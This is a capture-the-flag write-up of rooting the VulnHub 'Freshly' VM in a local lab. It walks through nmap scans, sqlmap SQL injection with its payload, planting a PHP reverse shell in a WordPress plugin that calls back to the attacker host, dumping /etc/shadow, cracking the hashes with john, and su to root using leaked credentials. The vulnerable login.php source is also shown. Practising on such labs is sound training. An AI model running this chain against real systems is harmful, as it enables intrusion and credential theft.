I had this VM in my KeepNote for a while now, but never thought to throw it up online until recently. Here's my reenactment for rooting this box several months ago:
I spin up the VM in VirtualBox and kick off an nmap scan on my vboxnet0 interface 192.168.56.0/24:
root@localhost:~/VM/freshly# nmap 192.168.56.0/24 Starting Nmap 7.25BETA1 ( https://nmap.org ) at 2016-08-11 12:27 CDT Nmap scan report for 192.168.56.100 Host is up (0.000058s latency). All 1000 scanned ports on 192.168.56.100 are filtered MAC Address: 08:00:27:E1:F0:DE (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.56.102 Host is up (0.00019s latency). Not shown: 997 closed ports PORT STATE SERVICE 80/tcp open http 443/tcp open https 8080/tcp open http-proxy MAC Address: 08:00:27:F2:73:82 (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.56.1 Host is up (0.0000020s latency). Not shown: 998 closed ports PORT STATE SERVICE 80/tcp open http 111/tcp open rpcbind Nmap done: 256 IP addresses (3 hosts up) scanned in 7.73 seconds
I see that 192.168.56.102 is the box being pursued. It's time for a deeper scan on this host:
root@localhost:~/VM/freshly# nmap -p- 192.168.56.102 Starting Nmap 7.25BETA1 ( https://nmap.org ) at 2016-08-11 12:29 CDT Nmap scan report for 192.168.56.102 Host is up (0.00011s latency). Not shown: 65532 closed ports PORT STATE SERVICE 80/tcp open http 443/tcp open https 8080/tcp open http-proxy MAC Address: 08:00:27:F2:73:82 (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 0.73 seconds root@localhost:~/VM/freshly#
Great, 3 ports are open. Let's scan these 3 ports with an even deeper scan:
root@localhost:~/VM/freshly# nmap -p80,443,8080 -A 192.168.56.102 Starting Nmap 7.25BETA1 ( https://nmap.org ) at 2016-08-11 12:31 CDT Nmap scan report for 192.168.56.102 Host is up (0.00023s latency). PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) |_http-server-header: Apache/2.4.7 (Ubuntu) |_http-title: Site doesn't have a title (text/html). 443/tcp open ssl/http Apache httpd |_http-server-header: Apache |_http-title: Site doesn't have a title (text/html). | ssl-cert: Subject: commonName=www.example.com | Not valid before: 2015-02-17T03:30:05 |_Not valid after: 2025-02-14T03:30:05 8080/tcp open http Apache httpd |_http-server-header: Apache |_http-title: Site doesn't have a title (text/html). MAC Address: 08:00:27:F2:73:82 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.4 Network Distance: 1 hop TRACEROUTE HOP RTT ADDRESS 1 0.23 ms 192.168.56.102 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 15.21 seconds root@localhost:~/VM/freshly#
Perfect. I have tons of information now on this site. I start off looking at port 80 and I'm presented with the following content:
Before getting distracted and moving to the next port, I decide that I'll run Dirbuster against it to see if there are any directories I'm unaware of:
I notice that there's a /login.php directory responding with a 200 Status Code. I navigate to the page and I'm presented with the following:
After tinkering around the login page, I try seeing if this page may be vulnerable to a SQLInjection attack considering there was a Post method along with name="user" and name="password". I spin up BurpSuite and run the proxy. I capture the user and password parameters:
I take these parameters and run sqlmap to see if there's a SQLInjection vulnerability:
root@localhost:~/VM/freshly# sqlmap -u "http://192.168.56.102/login.php" --data="user=test&password=123&s=Submit" --risk 3 --level 3 _ ___ ___| |_____ ___ ___ {1.0.7.1#dev} |_ -| . | | | .'| . | |___|_ |_|_|_|_|__,| _| |_| |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 13:03:12 [13:03:12] [INFO] testing connection to the target URL [13:03:12] [INFO] heuristics detected web page charset 'ascii' [13:03:12] [INFO] testing if the target URL is stable [13:03:13] [INFO] target URL is stable [13:03:13] [INFO] testing if POST parameter 'user' is dynamic [...snippet...] [13:03:18] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind' [13:03:38] [INFO] POST parameter 'user' appears to be 'MySQL >= 5.0.12 OR time-based blind' injectable it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (3) value? [Y/n] [13:03:41] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [13:03:41] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found [13:03:41] [INFO] target URL appears to be UNION injectable with 2 columns injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] [13:03:42] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql') [13:03:42] [INFO] testing 'Generic UNION query (44) - 21 to 40 columns' [13:03:42] [INFO] testing 'Generic UNION query (44) - 41 to 60 columns' [13:03:42] [INFO] checking if the injection point on POST parameter 'user' is a false positive POST parameter 'user' is vulnerable. Do you want to keep testing the others (if any)? [y/N] sqlmap identified the following injection point(s) with a total of 1658 HTTP(s) requests: --- Parameter: user (POST) Type: AND/OR time-based blind Title: MySQL >= 5.0.12 OR time-based blind Payload: user=test' OR SLEEP(5)-- eVHT&password=123&s=Submit --- [13:04:54] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu web application technology: Apache 2.4.7, PHP 5.5.9 back-end DBMS: MySQL >= 5.0.12
I then add --dbs to my sqlmap switch and find the following 7 databases:
I then finalize my sqlmap switches and run the following command to fully dump the wordpress8080 database:
root@localhost:~/VM/freshly# sqlmap -u "http://192.168.56.102/login.php" --data="user=test&password=123&s=Submit" -D wordpress8080 --dump-all --risk 3 --level 3
Boom! I've got credentials for the wordpress8080 database with the following credentials:
username: admin
password: SuperSecretPassword
Now that we have credentials. Where do we use this? I tried logging into /login.php but was unsuccessful. I then realize that there were 2 other ports open on this host. Seeing that this was a wordpress8080 database.. I'm going to guess that port 8080 is hosting a WordPress site...
I navigate to 192.168.56.102:8080 and I'm presented with the following:
I click on the link and I'm taken to the Old Candy Shop page. I navigate around the site a bit and decide that I'm going to look for the login page for this WordPress site.
Navigating to the following site presents me with the WordPress login page:
192.168.56.102:8080/wordpress/wp-login.php?
I use my newly captured credentials to log into the site:
Success!
Now, having familiarity with WordPress, there is a technique in which you can upload a webshell via the plugins.
I had some issues uploading a WordPress shell plugin such as the one found here, but all is not lost! I decide that if I'm running as admin, I can still edit an existing plugin that is already running php and update the contents with my reverse shell.
I copy down /usr/share/webshells/php/php-reverse-shells.php from my local host and update the contents to point back to my IP over port 443.
root@localhost:~/VM/freshly# cp /usr/share/webshells/php/php-reverse-shell.php ./geoda-reverse.php root@localhost:~/VM/freshly# vim geoda-reverse.php root@localhost:~/VM/freshly# cat geoda-reverse.php <?php // php-reverse-shell - A Reverse Shell implementation in PHP // Copyright (C) 2007 pentestmonkey@pentestmonkey.net [...snippet...] set_time_limit (0); $VERSION = "1.0"; $ip = '192.168.56.1'; // CHANGE THIS $port = 443; // CHANGE THIS $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; /bin/sh -i'; $daemon = 0; $debug = 0; [...snippet...] root@localhost:~/VM/freshly#
Copy the contents of geoda-reverse.php and update it within the plugin:
Now that my reverse shell is in place. Let's fire up netcat to listen on port 443, and navigate to the page with my payload:
192.168.56.102:8080/wordpress/wp-content/plugins/all-in-one-wp-migration/all-in-one-wp-migration.php
Success! I now have a shell on the system running as daemon. It is now time to escalate privileges.
After breaking out of my "jail" shell with python, I notice that I can read both the /etc/shadow:
daemon@Freshly:/$ cat /etc/shadow cat /etc/shadow root:$6$If.Y9A3d$L1/qOTmhdbImaWb40Wit6A/wP5tY5Ia0LB9HvZvl1xAGFKGP5hm9aqwvFtDIRKJaWkN8cuqF6wMvjl1gxtoR7/:16483:0:99999:7::: daemon:*:16483:0:99999:7::: bin:*:16483:0:99999:7::: sys:*:16483:0:99999:7::: sync:*:16483:0:99999:7::: games:*:16483:0:99999:7::: man:*:16483:0:99999:7::: lp:*:16483:0:99999:7::: mail:*:16483:0:99999:7::: news:*:16483:0:99999:7::: uucp:*:16483:0:99999:7::: proxy:*:16483:0:99999:7::: www-data:*:16483:0:99999:7::: backup:*:16483:0:99999:7::: list:*:16483:0:99999:7::: irc:*:16483:0:99999:7::: gnats:*:16483:0:99999:7::: nobody:*:16483:0:99999:7::: libuuid:!:16483:0:99999:7::: syslog:*:16483:0:99999:7::: messagebus:*:16483:0:99999:7::: user:$6$MuqQZq4i$t/lNztnPTqUCvKeO/vvHd9nVe3yRoES5fEguxxHnOf3jR/zUl0SFs825OM4MuCWlV7H/k2QCKiZ3zso.31Kk31:16483:0:99999:7::: mysql:!:16483:0:99999:7::: candycane:$6$gfTgfe6A$pAMHjwh3aQV1lFXtuNDZVYyEqxLWd957MSFvPiPaP5ioh7tPOwK2TxsexorYiB0zTiQWaaBxwOCTRCIVykhRa/:16483:0:99999:7::: # YOU STOLE MY PASSWORD FILE! # SECRET = "NOBODY EVER GOES IN, AND NOBODY EVER COMES OUT!" daemon@Freshly:/$
and /etc/passwd file:
daemon@Freshly:/$ cat /etc/passwd cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin libuuid:x:100:101::/var/lib/libuuid: syslog:x:101:104::/home/syslog:/bin/false messagebus:x:102:105::/var/run/dbus:/bin/false user:x:1000:1000:user,,,:/home/user:/bin/bash mysql:x:103:111:MySQL Server,,,:/nonexistent:/bin/false candycane:x:1001:1001::/home/candycane: # YOU STOLE MY SECRET FILE! # SECRET = "NOBODY EVER GOES IN, AND NOBODY EVER COMES OUT!" daemon@Freshly:/$
At this point it is probably game over. However, considering I am still running as daemon, I want to see if I can run john against this and become a real user.
I copied both the /etc/shadow and /etc/passwd to my local device and run unshadow against both, and output it to cracked.txt. Next, I run john against cracked.txt:
root@localhost:~/freshly# unshadow passwd shadow > cracked.txt root@localhost:~/freshly# john cracked.txt Created directory: /root/.john Warning: detected hash type "sha512crypt", but the string is also recognized as "crypt" Use the "--format=crypt" option to force loading these as that type instead Using default input encoding: UTF-8 Loaded 3 password hashes with 3 different salts (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x]) Press 'q' or Ctrl-C to abort, almost any other key for status password (candycane)
Success! John has cracked the hash's and found credentials for the user "candycane". The password is simply "password". I then su to candycane:
daemon@Freshly:/$ id id uid=1(daemon) gid=1(daemon) groups=1(daemon) daemon@Freshly:/$ su candycane su candycane Password: password candycane@Freshly:/$ id id uid=1001(candycane) gid=1001(candycane) groups=1001(candycane) candycane@Freshly:/$
Great! I am now running as Candycane. However, I am not running as root. After probbing around, I find that the root credentials are in cleartext directly on the login.php page:
candycane@Freshly:/$ cd /var/www/html cd /var/www/html candycane@Freshly:/var/www/html$ cat login.php cat login.php <?php mysql_connect('localhost','root','SuperSecretPassword'); mysql_select_db('login'); ?> <form action="" method="post"> <table width="50%"> <tr> <td>User</td> <td><input type="text" name="user"></td> </tr> <tr> <td>Password</td> <td><input type="password" name="password"></td> </tr> </table> <input type="submit" value="Submit" name="s"> </form> <?php if($_POST['s']){ $user = $_POST['user']; $pass = $_POST['password']; $re = mysql_query("select * from users where user_name = '$user' and password = '$pass'"); if(mysql_num_rows($re) == 0){ echo '0'; }else{ echo '1'; } } ?> candycane@Freshly:/var/www/html$
Wow! I then try to su as root:
candycane@Freshly:/var/www/html$ su root su root Password: SuperSecretPassword root@Freshly:/var/www/html# id id uid=0(root) gid=0(root) groups=0(root) root@Freshly:/var/www/html#
Success! Root!
This was a very fun VM. I certainly enjoyed playing with sqlmap, utilizing john, finding cleartext passwords, and hacking WordPress plugins.
There is more than likely many different avenues to hack this VM, this was just the way that worked for me.
As always, I'd like to thank TopHatSec for creating this VM. And, of course, VulnHub for hosting it!